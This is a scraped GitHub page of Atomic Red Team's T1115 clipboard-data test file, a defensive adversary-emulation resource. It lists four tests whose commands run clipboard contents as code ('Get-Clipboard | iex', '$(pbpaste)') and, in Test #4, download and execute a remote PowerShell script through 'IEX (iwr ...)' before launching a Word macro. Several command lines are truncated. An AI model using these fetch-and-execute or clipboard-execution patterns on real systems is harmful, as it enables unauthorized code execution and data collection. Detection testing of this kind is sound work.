

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues

6

Pull requests

5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic_red_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

atomic-red-team / atomics / T1115 / T1115.md

CircleCI Atomic Red Team doc... Generate docs from job=gener... 1e024d9 · 3 years ago

History

Preview

Code

Blame

166 lines (83 loc) · 3.56 KB

Raw

T1115 - Clipboard Data

Description from ATT&CK

Adversaries may collect data stored in the clipboard from users copying information within or between applications.
In Windows, Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) OSX provides a native command, `pbpaste`, to grab clipboard contents.(Citation: Operating with EmPyre)

Atomic Tests

- [Atomic Test #1 - Utilize Clipboard to store or execute commands from](#)
- [Atomic Test #2 - Execute Commands from Clipboard using PowerShell](#)
- [Atomic Test #3 - Execute commands from clipboard](#)
- [Atomic Test #4 - Collect Clipboard Data via VBA](#)

Atomic Test #1 - Utilize Clipboard to store or execute commands from

Add data to clipboard to copy off or execute commands from.

Supported Platforms: Windows

auto_generated_guid: 0cd14633-58d4-4422-9ede-daa2c9474ae7







Attack Commands: Run with `command_prompt` !

```
dir | clip
echo "T1115" > %temp%\T1115.txt
clip < %temp%\T1115.txt
```

Cleanup Commands:

```
del %temp%\T1115.txt >nul 2>&1
```

Page 1 of 3

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

Atomic Test #2 - Execute Commands from Clipboard using PowerShell

Utilize PowerShell to echo a command to clipboard and execute it

Supported Platforms: Windows

auto_generated_guid: d6dc21af-bec9-4152-be86-326b6babd416

Attack Commands: Run with **powershell** !

```
echo Get-Process | clip
Get-Clipboard | iex
```



Atomic Test #3 - Execute commands from clipboard

Echo a command to clipboard and execute it

Supported Platforms: macOS

auto_generated_guid: 1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff

Attack Commands: Run with **bash** !

```
echo ifconfig | pbcopy
$(pbpaste)
```



Atomic Test #4 - Collect Clipboard Data via VBA

This module copies the data stored in the user's clipboard and writes it to a file, \$env:TEMP\atomic_T1115_clipboard_data.txt

Supported Platforms: Windows

auto_generated_guid: 9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52

Inputs:

Name	Description	Type	Default Value
ms_product	Maldoc application Word	String	Word

Attack Commands: Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VB.
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode."
```



Cleanup Commands:

```
Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ign
```



Dependencies: Run with **powershell** !

Description: Microsoft #{ms_product} must be installed

Check Prereq Commands:

```
try {  
  New-Object -COMObject "#{ms_product}.Application" | Out-Null  
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "win  
  Stop-Process -Name $process  
  exit 0  
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft #{ms_product} manually to
```